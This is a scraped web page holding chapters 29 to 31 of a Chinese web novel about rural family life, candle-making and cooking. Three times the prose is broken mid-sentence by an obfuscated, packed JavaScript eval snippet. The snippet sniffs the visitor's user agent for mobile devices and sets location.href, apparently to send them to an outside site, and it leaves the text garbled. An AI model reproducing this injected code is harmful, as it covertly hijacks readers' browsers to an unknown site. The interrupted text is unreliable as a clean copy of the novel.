;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12754170|134565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云帆,秦大媳妇对他有好脸色才怪。 谁叫许云帆是秦润的相公呢,连带就是这么带的。 秦大媳妇对许云帆翻了个白眼,嘀咕一句讨债鬼,声音不大不小,正好让许云帆与一旁的秦森听到。 秦森,与秦木秦林两兄弟是堂兄弟,秦大媳妇就是他的侄儿媳妇。 突然听到秦大媳妇骂这么一句,秦森尴尬的不行,刚想说点什么,许云帆当场就来了一句,“小气婆,又不是借你的钱,我小秦家借你们秦家的东西,何时不还了?” 从秦润口中,许云帆得知,秦润之前借秦大娘他们的钱,都有还的。 只是最近这段日子,家里因为他,实在揭不开锅,加上他吃不下糙米饭,秦润才厚着脸皮去借精米、借油。 秦大媳妇本就是故意让许云帆听到的,这会,河边也不去了,直接站在原地,“还?都借多久了?你回去问问润哥儿,他借的五斤精米,什么时候能还上?” “我大婆婆也是看在两家的关系上才借的米油,家里有点精贵的,都舍得借出去了,你们家倒好,懂的做推车,藏着掖着,我们帮了你们,你们就是这么报答我们的?没说你们白眼狼都算好了。” 秦森怔愣了,他没想到秦大媳妇能说出这番话来。 再看许云帆低沉的脸色,想起家中婆娘说的许云帆怼李家婆娘一事,不由得叫糟。 哪知许云帆看了秦大媳妇一眼,那一眼,意味深长,不由得让秦大媳妇脊背一寒。 许云帆没说什么,转身就走。 秦大媳妇昨晚刚被秦家人训了一顿,今天还敢在自己面前叫嚣,想来是昨天秦家人给的教训不够到位。 君子报仇,十年不晚。 许云帆好说话是好说话,逢人面带三分笑,但这不代表他就没有脾气了。 回到家,刚进到院子,一阵浓郁的肉香便飘了出来。 许云帆鼻子动了动,口水不自觉分泌,在屋檐下放下背篓后便窜到厨房里。 “云帆,你回来了。”秦润炒着肉,见到许云帆回来,眼睛就是一亮,用锅铲挑了一块肉上来,再用筷子夹住送到许云帆嘴边,“你尝尝看,香不香?” 许云帆不爱吃肥肉,秦润应该是炒的还不够久,所以这块肉还很肥,“秦润,我不喜欢吃肥的,我喜欢吃瘦的。” 秦润知道,村里的人爱吃肥肉,是因为肥肉油水多,但那些小少爷就不是这样了。 他挑了一块瘦肉递过去,许云帆一口就吃进嘴里,满足的眯起眼睛。 秦安放下火钳,咽了咽口水,眼巴巴的看着许云帆,“哥夫,肉肉香不香?” 许云帆开玩笑道:“不香,这肉是臭的。” 秦安不是三岁小孩了,许云帆吃的那么香,怎么可能是臭的,憋着嘴,“哥夫骗人,炒肉的味道那么香,怎么可能会臭。” “你看,你都知道了,还问我?”许云帆看向秦润,笑道:“快给你弟夹一块,看把他馋的。” 秦润笑了一声,闻言给秦安夹了一块肥瘦相间的肉。 秦安一口将肉吃进嘴里,满足的不得了。 30. 第 30 章 在山上晒了一个半时辰,许云帆打了半瓢水喝,喝光之后才觉得舒服了。 他在厨房外,在柴房与厨房的中间位置用石头简单的架起一个火灶,“秦润,柴房里那个陶瓷可以用吗?” 秦润走出来,“可以的,你要做什么?” 他看到背篓里的东西,“你去山上就为了找这些吗?家里还有很多松叶,到时候玉米杆干了也可以拿回来当引燃物的。” “我才不是拿松油来当引燃物,我拿它来是要做蜡烛的,有它照明,晚上我们可以晚点睡,大家一起剥玉米粒。” “那样你就不用摸黑起来干活了,那玉米矬子太危险,如果伤到手了怎么办?”许云帆自顾自忙着手上的活,完全不知道自己随口说的话,对秦润造成多大的冲击。 秦润只觉得有一颗种子在自己心脏的沃土里以一种势不可挡的猛烈趋势破土而出,他对许云帆的爱意,总是来的那么强烈,以至于势不可挡。 许云帆怎么可以这么好呢? 好像,他做的每一件事,都是为了自己,为了这个家,他比其他汉子厉害多了。 在他看来,自己不能解决的问题,到了许云帆手里,所有的困难都能迎刃而解,许云帆总能想到解决的办法。 这样厉害又聪明可靠的汉子,哪个哥儿能拒绝得了,能不心动呢? 秦润有时候都在想,这样的自己,与那些怀揣着,妄图吃到天鹅肉的癞/□□是不是一样的,抱着不可告人的心思来享受着许云帆对他的好。 秦润压下自己的心动,“你会做蜡烛?” 他问的不是很确定,因为蜡烛在大晏朝,不是家家户户都能用得起的生活品。 也就只有特殊的节日,或者成亲时,新人的长辈才舍得买。 他听说蜡烛的制作手艺被皇商把控着,旁人都不知道怎么做。 可许云帆说他要做蜡烛,秦润如何能不震惊。 秦润记得,在他模糊的记忆里,以前他住的家,每到晚上都会点很多蜡烛照明,而且,他还有两个爷爷。 两个爷爷都很疼他,经常抱他,给他吃很好吃的甜食,他们家的院子很大,不仅有花园,还有池子。 只是后来他脑子出了问题,十岁以前的事都记不清了,只模模糊糊记得一些,但就这些,说出来,连他自己都不信,更何况是其他人。 估计他们听了,也只会当成一场笑话。 看到秦润震惊的神色,许云帆表面不动声色,实则内心却是有点幼稚的小骄傲的。 他摆了摆手,故作谦虚的道:“会啊,这么简单的东西,难不倒我的,不就是蜡烛嘛,我会的东西可多了,等久了,你就知道,像我这么优秀的人,会的东西多了去了,到时候你可不要爱上我才好。” 二十岁的青年,总有那么一点天下我最牛的自信。 秦润看出许云帆的骄傲,后面那句话,虽让他难受,面上却不显,“你要陶瓷就是为了拿来做蜡烛的吗?” “是啊。”许云帆指着背篓,“我要拿它来煮松油。” 秦润看到那么多松油,如果用陶瓷煮,得煮多少次? “用锅煮可以吗?”家里的柴房里就有一口缺了口的锅,是秦大娘他们不用了,他拿回来的。 那口锅破的口不是在底部,而是在边上,因为秦大娘家人多,用这口锅煮菜就不够了。 秦大娘想着家里灶台也就两个,小秦家人少,能用得上,这才让秦润把锅拿了回来。 “可以,用锅比用陶瓷方便多了。”许云帆高兴的道。 在大晏朝,铁锅不是便宜货,哪怕是坏了的锅,见它还能用,秦润便把它收在柴房的夹板上,为此,许云帆才没有发现。 许云帆生火不行,只得喊来秦安。 秦安听了,二话不说,拿了几根着着火的柴火出来,又夹了几块火星,在柴火冒着浓烟时,用火筒吹了几下,火就生好了。 许云帆:“……” 如此简单的生火方式,倒衬得他像个傻叉。 “哥夫,火生好了。”秦安拿着火筒,站在一旁,像是讨要夸奖的狗崽子一样。 许云帆竖起大拇指,一手柔了柔秦安的脑袋,真心实意的夸了一句:“安哥儿很厉害呢。” 得了夸,秦安羞涩的笑了起来。 许云帆见了,有些忍俊不禁,这小屁孩,真他娘的乖。 乖孩子,必须有糖吃。 “安哥儿,你去把我买回来的小麦,找个木盆把它泡了,到时候许哥给你们做好吃的。” “好。”秦安也不问许云帆要给他与大哥做什么好吃的,他只知道,这个哥夫给的东西,都是他不曾见过,也不曾吃过的,最好吃的东西。 所以许云帆让他做事时,他跑的比谁都快,问都不问,俨然把许云帆的话当成圣旨一样去执行,不问缘由,只管做就对了。 秦润拿出缺口的锅,架在许云帆临时搭建起来的火灶上,“接下来还需要做什么吗?” “不用了,剩下的我来就好。”许云帆把背篓里的松油倒进锅里,“对了,灯芯在哪?你拿来给我。” 秦润又去把灯芯拿来,许云帆用柴刀把蜡烛磨具做好,将灯芯放到小竹筒里,留好足够的长度后便把过长的灯芯剪了。 见自己帮不上什么忙,秦安又出来喊水快烧开了,秦润拿来罩住鸭子的箩筐,解开绑着鸭翅膀的绳子,再将鸭子的两根翅膀一左一右一勾,鸭子的翅膀像打结了似的,挣不开了。 这样鸭子抓着要方便一点。 秦安找了一只碗,往碗里倒了点水,又加上点盐,这样可以使鸭血凝固成型后,比较嫩一点。 秦润抓起鸭脖,用大拇指和食指钳着鸭颈,将其拉直,然后把鸭颈近头部喉管位置的毛给拔干净。 见状,秦安一手拿碗,一手拿把菜刀,哒哒的就跑出来。 他将装有盐水的碗放下,把菜刀递给秦润,不用秦润吩咐,两只手紧紧的抓住鸭脚。 秦润右手拿菜刀,左手抓着鸭翅膀将鸭脖架压在翅膀上,紧紧的抓好,刀子在拔了毛的鸭脖上一划,轻轻松松的就将鸭子的喉管割断。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12754171|134565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦安顺势把鸭子抬起来,秦润放下刀,右手抓着鸭头,将流血处架在碗上。 鸭子剧烈的挣扎起来,秦安使劲的抓着鸭脚,嘴巴因为用力,紧紧的抿着。 兄弟俩合作的非常完美。 许云帆在一旁看着,想上去帮忙吧,转念一想又收住脚了。 听说鸭毛很难处理,不像鸡毛那么容易拔,他没做过这些,上去也是添乱。 况且一只鸭,有秦润和秦安处理,应该够了,许云帆心安理得的想着。 杀好鸭后,秦安拿了一个木盆出来,往盆里打了几瓢开水,秦润一手抓死透的鸭头,一手用一根木条不断上下戳着鸭毛,因为鸭子表面的毛光滑,防水,不戳的话,里边的毛烫不到,会很难拔。 鸭子的味道比鸡重一点,因为那股开水的热气,许云帆闻到一股味道,恶心的他别开头,后退了几步。 秦润见了,开口解释道:“鸭子烫水都是这个味道,但是鸭肉不臭的。” 许云帆忍着那股恶心的味道,点了下头,“我知道。” 要拔鸭毛,得从头开始,再从脖子往身下搓着拔,秦润一边拔鸭毛,一边问,“今晚的鸭肉你想炒着吃还是炖着吃?” 说到炖,许云帆就想到了老鸭汤,“家里有酸萝卜吗?我想吃老鸭汤。” 许云帆这人,会的东西很多很杂,他吃过不少美食,也看过很多食谱,偏偏他就是没有一手好厨艺。 明明按照做法一步一步来,可他做出来的菜,也不知道哪个环节出了错,就是不好吃。 秦润不知道什么老鸭汤,但许云帆想吃,他就想做,“家里有酸萝卜的,我泡了一些,还没吃完呢,老鸭汤是用算萝卜做的吗?” “我们可以用酸萝卜跟鸭肉一起炖,你不是说这鸭子养久了吗,我们今晚一半拿来炒,一半拿来顿,怎么样?”许云道。 许云帆的话,秦润自然不会拒绝,“好,你说老鸭汤怎么做,我做给你吃。” “就是先把鸭肉炒香,然后再放入开水,再把酸萝卜切块,一起放下去炖就是了。”许云帆大概的说了一下,厨房没有多余的调料,只能这么做了。 老鸭要炖的越久才会越香,所以这酸萝卜肯定没放那么快,聪明的秦润知道该怎么做了。 松油煮融后,许云帆拿出自己编织的竹筛将杂物清除干净,再将松油倒入竹筒模具里,然后又把剩下的松油倒进锅里继续煮。 闲来无事,许云帆去后院装了半箩筐的玉米来剥。 他见秦安用过玉米矬子,许云帆照着做,用玉米矬子划落几行玉米后,剩下的再用手搓,没一会,许云帆整个手心便发红了。 在秦润给鸭子开膛破肚的时候,秦安跑去看了看许云帆制作的蜡烛。 因为松油尚未凝固,秦安不敢乱动,“哥夫,这就是你做的蜡烛吗?” 秦安是见过蜡烛的,可眼前的蜡烛与记忆中的相差甚远。 许云帆抬头看去,“对啊,不过它还没有凝固,等它凝固了才可以点,今晚许哥点给你看。” 31. 第 31 章 秦安欢快的应了一声,“好。”趁秦润把鸭子拿进厨房的空挡,自觉的把鸭肠鸭胗给收拾干净。 秦润见阳光没那么晒了,距离做晚饭还有一段时间,于是便把放置在后院的推车推出来,“云帆,二弟,我去掰几袋玉米,就在之前的南边那块地里。” 秦安之前摔伤的地方差不多好了,“大哥等我,我跟你一起去。” 秦润看秦安手上的水泡太多,不忍心让他在家剥玉米粒,秦安很懂事,他们都在忙,他肯定闲不住,于是便同意了。 许云帆没说什么,瞥了秦润一眼便收回视线继续低头剥他的玉米粒。 突然,一道阴影将光线遮挡住,许云帆抬头看去,赫然看到秦润放大的俊脸。 许云帆身子往后仰,下意识的拉开两人的距离,有些不太自然的道:“你干什么?突然靠这么近。” 秦润不说话,就那样看着许云帆的下巴,许云帆被看的有些不好意思,头回见到这么不知含蓄的,逗弄人的小心思跟着上来了,“看什么啊!我知道我长的帅,但是你也不用这么盯着我看吧。” 哪知秦润却道:“你下巴上怎么有颗红色的包?” 不被提醒还好,一经秦润提醒,许云帆又想挠痒痒了。 他有些愤愤的道:“上山的时候蚊子叮的,可痒了,我专心干活还不觉得,现在你一说,我又觉得痒了。” 许云帆说着想用手去挠一挠,秦润抓住他的手腕,“你手上有灰尘,不能抓,忍忍就不痒了,以后你想要什么,你跟我说,我去给你弄来。” “这么好?”许云帆听出秦润话里的宠溺,眼睛一眯,似笑非笑的,“你干嘛要对我这么好啊?” 秦润被许云帆勾人心魄的笑容所迷惑,想着,如果许云帆每天都能这么对他笑就好了,他可以把命,捧手送到许云帆面前。 失了神的人,张口就来的话语却莫名带了股重视、严肃的意味,“我想对你好,以后会对你更好。” 直到说完了,秦润才反应过来自己说了什么,脸直接爆红。 许云帆笑意更深,以至于眼睛笑的更弯了,像月牙一样的好看,不甚明亮,却是那片星空中独一无二的存在。 秦润不明白,为什么,世间会有笑的这么好看的一个人存在呢? 果然,老天送的小仙男就是不一样,像狐狸精,一颦一笑,皆勾人心魄,能把人的魂给吸了似的。 害羞的秦润,真的好看级了,像熟透的苹果般诱人,恨不得让人将其吞吃入腹。 可惜,许云帆不太爱吃苹果。 不过,不爱吃是一回事,但被人重视,是个人都会感到开心。 许云帆低下头继续剥玉米,没回秦润的话,秦润也不在意,深深的看了许云帆一眼,待秦安洗好鸭肠后方一块出门。 待秦润出门了,许云帆才抬起头,看向院门口,幽幽叹了一口气。 许云帆这一次带回来的松油很多,装了几十根蜡烛模具才装完。 山上的松树又大又粗,有的地方被人砍了,流出来的松油没人要,许云帆但凡看到的,全给扒了回来。 这么多蜡烛,应该够用一阵子了。 许云帆剥了半箩筐的玉米,手心又红又辣,他把剥好的玉米粒拿到后院晒好,玉米心则是倒到茅草屋旁边的草棚下。 玉米心晒干了可以用来烧火,不能浪费了。 做完这一切,他才关上门朝玉米地走。 现在的时辰,大概有四点左右,地里的人不少,许云帆过去的路上,再次遇上了秦大娘家的三蛋。 三蛋正坐在一颗梨树下,梨树长在路旁的小山上,三蛋坐的地方,旁边正好有一条小路。 小家伙也不认生,见过许云帆几次,这会见人了,大老远的就甜甜的喊一声,“许锅锅~” 许云帆笑笑,见小家伙停下来等自己,快步走上前,走到三蛋跟前才蹲下膝盖,“三蛋,你怎么一个人在这?大蛋二蛋他们呢?” 小家伙才两岁多一点,会说的话不多,指着小路,“二锅~摘果果~” 秦家的大人下地的下地,不下地的秦木也是忙的脚不沾地,三蛋大多都是大蛋二蛋照顾着。 许云帆顺着三蛋胖乎乎的小短指看去,“你二哥给你摘果子去了?” “嗯。”三蛋欢快的点了下头,许是说到果子馋了,嘴角溢出晶莹的液体。 许云帆见了,一手罩住三蛋的后脑勺,固定住小家伙的脑袋,一手揪起三蛋肚子上的衣服将他的口水擦掉。 正在这时,二蛋从一旁的小路,犹如猛猪出闸般,快速的冲了下来。 小家伙速度太快,直到跑到路边别人家的玉米地里才停了下来。 “许哥。”二蛋用衣服兜着几个梨子,个头还挺大的。 “你上哪摘这么大的梨?”许云帆来这么多天了,还没吃过水果呢。 二蛋指着山上,“我家有一颗梨果树在山上,我与大蛋去看了,梨熟了。” 大蛋这时候也从小路上冲了下来。 许云帆看着大蛋再一次冲到玉米地里,大蛋后背背着一个麻袋,麻袋鼓囊囊的。 “怎么摘了这么多梨?”许云帆伸手帮大蛋拿下那袋梨,一掂,大概有十几斤重。 大蛋汗湿的脸蛋与二蛋一样,红扑扑的,气都没喘匀,“娘说多摘一点,给许哥也送几个。” 大蛋二蛋是秦二家的,三蛋是秦三家的,而秦大家不知何原因,成亲几年了,也没个动静。 按辈分,原本秦润应该喊秦大秦二他们叔的,但后来秦父连夜给他们几个请了大夫,秦大娘便说,秦父救他们一命,犹如父母赐予他们第二次生命,所以,让秦大几人认了秦父做干爹,哪怕秦父没同意,秦家却认定了。 三个蛋喊秦润哥喊习惯了,一时改不过来,就这么一直喊着了。 许云帆笑了笑,“是嘛,你们也要去地里吗?” “嗯。”大蛋点点头,见麻袋被许云帆拿了,就要去抱三蛋,三蛋走的太慢,还是抱着比较快。 许云帆却先一步单手抱起三蛋,三蛋就坐在许云帆的臂弯上,小家伙似乎吓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12754172|134565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳,急忙搂紧许云帆的脖子。 “不怕,大蛋二蛋,你们跟上。”许云帆安抚性的掂了掂小家伙,抱着软乎乎的三蛋就走。 大蛋帮二蛋拿了两个梨,快步跟上许云帆。 许云帆身高腿长,大长腿走的快,大蛋二蛋只能小跑跟上。 三蛋见了,以为两个哥哥在追自己,咯咯咯就笑出声来。 孩子的笑声,童真又治愈,光是听着就让人心情大好。 到了玉米地这边,秦氏的人听到孩子的笑声,一个个扭头看过来,见到是许云帆抱着三蛋在前头走的飞快,大蛋二蛋在后面追着,逗得三蛋笑声不断。 “许小子,收玉米去啊?” 见许云帆与孩子处的好,看着很好相处,有的人开始搭话了。 “是啊,大哥家快收完了没?” “哪里那么快喔,我家还有几十亩呢,不过拿来种玉米的也就二十几亩。” 许云帆又说了两句,这才抱着三蛋走了,这时候,大蛋才说了一句,“柳叔可真能干。” “哦,大蛋怎么知道的?”许云帆觉得好笑,大蛋才多大,居然还有这种感慨了。 大蛋道:“爹娘他们都是这么说的,柳叔每天都会往镇上的酒楼送柴火,可以挣很多银子。” 能挣钱的汉子,在村民眼里,那就是能干,很厉害了。 对此,许云帆不置可否。 到了地头,许云帆将三蛋放下,把麻袋放到大蛋身边,大蛋解开麻袋,从里面挑出最大最好的梨出来,“许哥,这些梨给你拿去吃。” 大蛋记得他奶奶说过了,只有让许哥觉得这里好了,许哥才会留下来给润哥当相公,小孩子不知道,这个好究竟是怎么个好法,他只能按照自己的理解去做。 在他们看来,把自己最好的东西送给许云帆,那就是好。 许云帆看大蛋挑出来的梨,“怎么给这么多?”大蛋给了六个。 二蛋道:“不多啊,哪里多了,六个梨……嗯……我算算,你跟润哥,还有安哥儿,每人能吃……” 数了一通手指,二蛋还是算不出来,大蛋才替他道:“每人可以吃两个,你个笨蛋。” “对对对,你们每人才能吃两个,不多的。”二蛋有点没心没肺的,被大蛋说笨,也浑然不在意。 许云帆看大蛋麻袋里还有不少的梨,这才学着二蛋用衣服兜着梨,不然两只手哪里拿得过来。 “谢谢大蛋二蛋。”哪怕大蛋他们还小,许云帆依旧很高兴的与他们说了一声谢谢。 大蛋看着许云帆的笑脸,脸就红了,磕磕巴巴的道:“不……不用谢。” 许云帆兜着几个梨,看着一大片的玉米地,又走了一会,这才看到秦润昨儿告诉他的那块地。 秦润两兄弟已经收了一小半,许云帆走近,“秦润,安哥儿,来吃梨啊!” “哥夫~”秦安停下手上的活走了过来,看到许云帆兜里的梨,急忙找了一个麻袋让许云帆把梨放到麻袋上。 秦润问道:“你去哪里要的梨?”